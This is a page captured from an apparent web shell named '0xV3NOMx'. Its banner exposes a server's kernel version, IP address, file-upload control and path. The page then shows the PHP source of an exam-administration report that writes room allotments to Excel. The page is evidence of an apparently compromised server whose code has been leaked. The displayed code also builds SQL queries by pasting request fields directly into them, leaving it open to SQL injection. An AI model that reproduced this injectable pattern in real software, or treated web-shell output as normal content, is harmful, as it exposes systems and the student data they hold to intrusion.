0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.147.146


Current Path : /var/www/oasis/Report_details/
Upload File :
Current File : /var/www/oasis/Report_details/report_ra_exl_report.php

<?php 

//include('ExcelWriterXML.php');

//var_dump('expression');die();
function GenerateExcelRoomAllotReport($aobj_context)
{
	//ini_set('memory_limit', '-1');
	//ini_set('max_execution_time', '500');
	session_start();
	$fromdate = trim($aobj_context->mobj_data["fromdate"]);
	$fromqpcode = trim($aobj_context->mobj_data["fqpcode"]);
	$toqpcode = trim($aobj_context->mobj_data["tqpcode"]);
	$session = trim($aobj_context->mobj_data["session"]);
	$room_range_from = trim($aobj_context->mobj_data["room_range_from"]);
	$room_range_to = trim($aobj_context->mobj_data["room_range_to"]);
	$rtype = trim($aobj_context->mobj_data["rtype"]);

	// if($_SESSION['FUNIVCODE'] !== "046"){
	// 	$room_range_from = str_pad($room_range_from, 3, "0", STR_PAD_LEFT);  
	// 	$room_range_to = str_pad($room_range_to, 3, "0", STR_PAD_LEFT);
	// }else{
	// 	$room_range_from = str_pad($room_range_from, 3, "0", STR_PAD_LEFT);  
	// 	$room_range_to = str_pad($room_range_to, 3, "0", STR_PAD_LEFT);
	// }

	
	$pdf_writer_class = $aobj_context->main_src."/ExcelWriterXML/ExcelWriterXML.php";
	// var_dump($pdf_writer_class);die();

	include($pdf_writer_class);
	if($_SESSION['FUNIVCODE'] === "041"){
		$xml = new ExcelWriterXML('RoomAllotment'.$fromdate.'.xls');
	}else{
		$xml = new ExcelWriterXML('RoomAllotment'.$fromdate.'.xml');
	}

	// var_dump($pdf_writer_class);die();
	$xml->showErrorSheet(false);

	if($_SESSION['fexamseparate'] == 'T')
	{
		$candsum = "examcandsum"; 
		$canddet = "examcanddet"; 

	}else
	{
		$candsum = "candsum"; 
		$canddet = "canddet"; 
	}	

	//$app_from_app = trim($aobj_context->mobj_data["app_from_app"]);
	//$app_to_app = trim($aobj_context->mobj_data["app_to_app"]);

	/**
	 * Show the style options
	 */
	$format = $xml->addStyle('StyleHeader');
	$format->fontBold();
	//$format->alignRotate(45);
	$format1 = $xml->addStyle('StyleHeader');
	$format1->fontBold();
	$format1->alignHorizontal('Left');

	$format2 = $xml->addStyle('verticaltext_left');
	$format2->alignVertical('Center');
	$format2->alignHorizontal('Center');
	$format2->fontFamily('Arial');
	$format2->fontSize('10');

	$format3 = $xml->addStyle('wraptext_top');
	$format3->alignWraptext();
	$format3->alignVertical('Top');

	$sheet1 = $xml->addSheet('Alignment');


	$title1 = array('','Sl. No.',"Application No.",'Roll Number','Name','Center','Degree',"Father's Name","Mother's Name",'Category','D.O.B.','Mobile no.','Email Id.','Aadhaar No.','Postal Address','Receive Certificate','Amount');
	$w = array('30','60','50','50','50','50','50','50','50','50','50','50','50','50','50','50','50');
	$j = 5;
	$slno = 1;
	$report = "Candidates Applied List";

	$collcode = $_SESSION['collcode'];

	$order = "ORDER BY s.fdoe, d.fhallno, orderby desc, s.fqpcode, s.fsession, d.fregno";
	if($_SESSION['FUNIVCODE'] == '055')
		$order = "ORDER BY s.fdoe, d.fhallno,d.fslno";




	$query = "SELECT DATE_FORMAT(s.fdoe,'%d/%m/%Y') AS fdoe, re.fdescpn AS fsession, d.fhallno, r.froomname, s.fqpcode,
	s.fsubshort, 
	CONCAT(LEFT (s.fsubname, 30)) AS fsubname, d.fregno, 
	(select count(*) from $canddet s1
	where s1.fdegree = s.fdegree and s1.fexamno = s.fexamno and s1.fsubcode = s.fsubcode and s1.fpresent = 'P'
	and s1.fcollcode = '{$collcode}' and s.fdoe = date_format(str_to_date('{$fromdate}', '%d/%m/%Y'),'%Y-%m-%d')
	AND s.fsession like '{$session}'
	group by s1.fdegree, s1.fexamno, s1.fsubcode) as orderby	
	FROM $candsum c, $canddet d, subject s, masroom r, reason re 
	WHERE c.fcollcode = d.fcollcode and c.fdegree = d.fdegree
    AND c.fregno = d.fregno AND d.fdegree = s.fdegree
	AND d.fexamno = s.fexamno AND d.fsubcode = s.fsubcode
    AND s.ftheory = 'T'
	AND d.fpresent = 'P' AND IFNULL(s.fqpcode,'') <> ''
    AND re.FREASONCD = s.fsession
	AND c.fcntrcode = r.fcollcode and d.fhallno = r.froomno
    and c.fcntrcode = '{$collcode}'
	and INSTR(c.fhtenable,d.fexamno) >0
	AND s.fdoe = date_format(str_to_date('{$fromdate}', '%d/%m/%Y'),'%Y-%m-%d') 
	AND IFNULL(c.frecptdate,'') <> '' AND IFNULL(d.fhallno,'') <> '' 
	AND s.fsession like '{$session}' AND s.FQPCODE between '{$fromqpcode}' and '{$toqpcode}' AND lpad(d.FHALLNO,3,'0') between '{$room_range_from}' and '{$room_range_to}' 
	{$order}
	";
	
	// var_dump($query);die();
	$lobj_get_data = $aobj_context->mobj_db->GetAll($query);
	
	if(!empty($lobj_get_data))
	{
		$new_room = '';
		$old_room = '';
		$x = -2;
		$y = 1;
		$old_qp = '';
		$new_qp = '';
		foreach($lobj_get_data as $key=>$value)
		{
			$new_room = $value['froomname'];
			$new_qp = $value['fqpcode'];
		
			$fsubshort = $value['fsubshort'];
			if( $old_room != $new_room )
			{
				$old_room = $value['froomname'];
				if($x != -2)
				{
					$y++;
					$sheet1->rowHeight($y,'15');
					
					$sheet1->writeString($y,$x,'Total PR. : ',$format1);
					$sheet1->cellMerge($y,$x,1);
					$y++;
					$sheet1->writeString($y,$x,'Total AB. : ',$format1);
					$sheet1->cellMerge($y,$x,1);
					$y++;
					$sheet1->writeString($y,$x,' ', $format1);
					$sheet1->cellMerge($y,$x,1);
					$y++;
					$sheet1->writeString($y,$x,'Signature', $format1);
					$sheet1->cellMerge($y,$x,1);
				}
				$x+=3;
				$y = 6;
				if($_SESSION['FUNIVCODE'] != '036')
					$slno = 1;
				$sheet1->writeString(1,$x,'Room : '.$value['froomname'],$format);
				$sheet1->writeString(2,$x,'Date : '.$value['fdoe'], $format);
				$sheet1->writeString(3,$x, $value['fsession'], $format);
				if($_SESSION['FUNIVCODE'] == '055')
					$sheet1->writeString(4,$x, 'Course Code: '.$value['fsubshort'], $format);
				else
					$sheet1->writeString(4,$x, 'QPCode : '.$value['fqpcode'], $format);	
				$sheet1->writeString(5,$x, $value['fsubname'], $format);
				$sheet1->cellMerge(1,$x,1);
				$sheet1->cellMerge(2,$x,1);
				$sheet1->cellMerge(3,$x,1);
				$sheet1->cellMerge(4,$x,1);
				$sheet1->cellMerge(5,$x,1);
				$old_qp = $value['fqpcode'];
			}

			if($old_qp != $new_qp)
			{
				$old_qp = $value['fqpcode'];
				$sheet1->rowHeight($y,'12.5');
				if($_SESSION['FUNIVCODE'] == '055')
					$sheet1->writeString($y,$x, 'Course Code: '.$value['fsubshort'], $format);
				else
					$sheet1->writeString($y,$x, 'QPCode : '.$value['fqpcode'], $format);	

				//$sheet1->writeString($y,$x, 'QPCode : '.$value['fqpcode'], $format);
				$y++;
				$sheet1->writeString($y,$x, $value['fsubname'], $format);
				$y++;
			}

			$sheet1->rowHeight($y,'15');
			$sheet1->writeString($y,$x, $slno,$format2);
			$sheet1->columnWidth($x,'27');
			$sheet1->writeString($y,$x+1, $value['fregno'],$format2);
			$sheet1->columnWidth($x+1,'67');
			$sheet1->columnWidth($x+2,'17');
			$y++;
			$slno++;
		}
		$y++;
		$sheet1->rowHeight($y,'15');
		$sheet1->writeString($y,$x,'Total PR. : ',$format1);
		$sheet1->cellMerge($y,$x,1);
		$y++;
		$sheet1->writeString($y,$x,'Total AB. : ',$format1);
		$sheet1->cellMerge($y,$x,1);
		$y++;
		$sheet1->writeString($y,$x,' ', $format1);
		$sheet1->cellMerge($y,$x,1);
		$y++;
		$sheet1->writeString($y,$x,'Signature', $format1);
		$sheet1->cellMerge($y,$x,1);
	}

	$xml->sendHeaders();
	$xml->writeData();
	$xml;
}

?>